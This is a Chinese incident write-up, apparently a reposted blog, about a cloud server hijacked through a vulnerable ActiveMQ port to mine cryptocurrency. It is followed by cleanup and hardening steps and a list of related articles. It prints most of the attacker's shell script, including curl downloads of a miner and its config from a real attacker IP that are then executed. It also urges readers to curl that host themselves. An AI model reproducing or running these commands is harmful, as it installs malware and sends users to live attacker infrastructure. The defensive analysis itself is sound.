线上服务器用的是某云的,欢快的完美运行着Tomcat,MySQL,MongoDB,ActiveMQ等程序。突然一则噩耗从前线传来:网站不能访问了!
此项目是我负责,我以150+的手速立即打开了服务器,看到Tomcat挂了,然后顺其自然的重启,启动过程中直接被killed,再试试数据库,同样没成功

多次尝试甚至重启机器无果。机智的我打了个top,出现以下内容:

这是谁运行的程序?

怀疑是个定时任务:

什么鬼,是个图片?立即访问了一下:

好尴尬,但是心思细腻的我早知道没这么简单,肯定只是伪装,curl过去是下面的脚本,过程就是在挖矿:

#!/bin/sh
pkill -9 142.4.124.164
pkill -9 192.99.56.117
pkill -9 jva
pkill -f ./atd
pkill -f /tmp/wa/httpd.conf
pkill -f 108.61.186.224
pkill -f 128.199.86.57
pkill -f 67.231.243.10
pkill -f 142.4.124.164
pkill -f 192.99.56.117
pkill -f 45.76.102.45
pkill -f AnXqV.yam
pkill -f BI5zj
pkill -f Carbon
pkill -f Duck.sh
pkill -f Guard.sh
...中间省略
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
fi
ps -fe|grep -w suppoie |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json
curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig1
chmod 777 /var/tmp/suppoie
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
sleep 3
fi
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json
curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig2
chmod 777 /var/tmp/suppoie
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
fi
echo "runing....."

有兴趣的同学想查看以上完整源代码,命令行运行下面指令(不分操作系统,方便安全无污染):

curl 192.99.142.235:8220/logo3.jpg

既然知道它是个定时任务,那就先取消了它,并且看看它是谁在运行:

杀掉,找到存放目录:

进入临时目录:

被我发现配置文件了,先来看看内容:

虎躯一震,发现了不少信息啊!

user是他的server的登录用户,下面是密码,只可惜加密过,应该找不到对方。算了,大度的我先不和你计较。

干掉这两个文件后再查看top:

解决办法

找到寄生的目录,一般都会在tmp里,我这个是在/var/tmp/。首先把crontab干掉,杀掉进程,再删除产生的文件。启动Tomcat等程序,大功告成!

等等,这远远不够,考虑到能被拿去挖矿的前提下你的服务器都已经被黑客入侵了,修复漏洞才对

不然你杀掉进程删掉文件后,黑客后门进来history一敲,都知道你做了啥修复手段。

所以上面办法治标不治本,我后续做了以下工作:

  1. 把所有软件升级到新版本

  2. 修改所有软件默认端口号

  3. 打开ssh/authorized_keys, 删除不认识的密钥

  4. 删除用户列表中陌生的帐号

  5. 封了他的ip

  6. SSH使用密钥登录并禁止口令登录(这个一般是加运维一个人的秘钥)

对了,本次遭受攻击是低版本ActiveMP开放端口61616有漏洞,大家记得做优化。

滔哥给提供了最好的方式:将主机镜像、找出病毒木马、分析入侵原因、检查业务程序、重装系统、修复漏洞、再重新部署系统。

写在最后

网友提供的一劳永逸终极解决办法:把你自己的挖矿脚本挂上去运行,这样别人就算挂脚本也跑不起来了。

作者:我叫刘半仙

https://my.oschina.net/liughDevelop/blog/1786631

- END -
推荐阅读:

关注Java技术栈公众号在后台回复:Java,可获取一份栈长整理的最新 Java 技术干货。

点击「阅读原文」和栈长学更多~

服务器被植入木马,CPU飙升200%的更多相关文章

  1. 记一次服务器被植入挖矿木马cpu飙升200%解决过程

    线上服务器用的是某讯云的,欢快的完美运行着Tomcat,MySQL,MongoDB,ActiveMQ等程序.突然一则噩耗从前线传来:网站不能访问了. 此项目是我负责,我以150+的手速立即打开了服务器 ...

  2. supsplk 服务器被植入木马 挖矿 cpu使用 700%

    最近emr集群跑任务的时候总出现 task failed ,优化sql,调提交任务参数都没解决,最后再我排查时候,发现一个从节点的cpu使用800% 经过一些列排查,发现是被注入木马了, #被人种下的 ...

  3. 面试连环炮系列(八):服务器CPU飙升100%怎么排查

    服务器CPU飙升100%怎么排查 执行"top"命令,查看当前进程CPU占用的实时情况,PID列是进程号,确定是哪个应用程序的问题. 如果是Java应用导致的,怎么定位故障原因 执 ...

  4. .dhpcd导致cpu飙升问题

    因公司有业务服务器在阿里云上面,阿里云后台报警说,“有恶意程序在挖矿”,引起了高度重视,于是我登陆服务器进行排查. 登陆云服务器:系统centos7.5 第一步使用top查看资源情况. top 可以清 ...

  5. CPU飙升的问题

    本文转载自CPU飙升的问题 问题发现 事情是这样的,最近小码仔负责的项目预定今天凌晨2点上进行版本更新.前几天测试小姐姐对网站进行压力测试,观察服务的CPU.内存.load.RT.QPS等各种指标. ...

  6. 记一次Linux server偶发CPU飙升问题的跟进与解决

    背景 进入6月后,随着一个主要功能版本api的上线,服务端的QPS翻了一倍,平时服务器的CPU使用稳定在30%上下,高峰期则在60%上下,但是偶尔会有单台机器出现持续数分钟突然飙到90%以上,导致大量 ...

  7. Java服务器内存过高&CPU过高问题排查

    一.内存过高 1.内存过高一般有两种情况:内存溢出和内存泄漏 (1)内存溢出:程序分配的内存超出物理机的内存大小,导致无法继续分配内存,出现OOM报错 (2)内存泄漏:不再使用的对象一直占据着内存不释 ...

  8. 云服务器ECS挖矿木马病毒处理和解决方案

    云服务器ECS挖矿木马病毒处理和解决方案 最近由于网络环境安全意识低的原因,导致一些云服务器ECS中了挖矿病毒的坑. 总结了一些解决挖矿病毒的一些思路.由于病毒更新速度快仅供参考. 1.查看cpu爆满 ...

  9. 【原创】记一次MySQL大表高并发写入引发CPU飙升的排障过程

    目录 一.故障现象... 1 二.初步分析... 2 三.排障过程... 2 1.排查是否QPS或insert并发请求上升导致问题发生... 2 2.排查是否锁资源等待或block导致了insert变 ...

随机推荐

  1. JavaScript 算术运算符

    处理数值的典型情景是数值计算. ㈠JavaScript 算术运算符 算术运算符对数值(文字或变量)执行算术运算. ㈡算术运算符 典型的算术运算会操作两个数值. ⑴这两个数可以是字面量: var x = ...

  2. CSS的五种基本选择器

    要使用css对HTML页面中的元素实现一对一,一对多或者多对一的控制,这就需要用到CSS选择器. ㈠什么是选择器? 每一条css样式定义由两部分组成,形式如下: [code] 选择器{样式} [/co ...

  3. 函数返回指针类型(strchr函数)

    #include<stdio.h> #include<string.h> char *mystrchr(char *s,char c) { while(*s) { if(*s ...

  4. redis安装成功后get: command not found

    安装redis后客户端无法使用,即redis-cli执行后报找不到的错误. 这主要是安装redis的时候没有把客户端装上,在StackOverFlow上找到了一种只安装redis cli的方法. 安装 ...

  5. openwrt boot 启动出现的问题

    一.boot启动出现JFFS2挂载文件系统错误 问题排查: 1.固件问题. 2.刷机,写进去不完整. 3.flash有问题. 二.openwrt 进入web页面出错 解决方法: 1.SSH进去,先恢复 ...

  6. APUE学习之进程控制 - fork 与 vfork

    最后编辑: 2019-11-6 版本: gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.11) 一.进程标识 每一个进程都有一个唯一的非 ...

  7. linux安装提示权限 不足 ,原来是锁了

    lsattr     查看 然后就是chattr -i /etc    -i 是解锁 +i 就是上锁

  8. Dubbo HelloWord 与 Spring Boot 整合

    实现消费者项目代码调用提供者项目代码,使用 zookeeper 做为注册中心 interface 项目 pom.xml <?xml version="1.0" encodin ...

  9. 使用OMF特性

    Oracle 的OMF全称"Oracle managed file",关于这个概念的参考请自行查阅Oracle官方文档"Using Oracle-Managed File ...

  10. MySQL 数据库 高级查询

    1.连接查询select * from Info,Nation #笛卡尔积select * from Info,Nation where Info.Nation=Nation.Code join on ...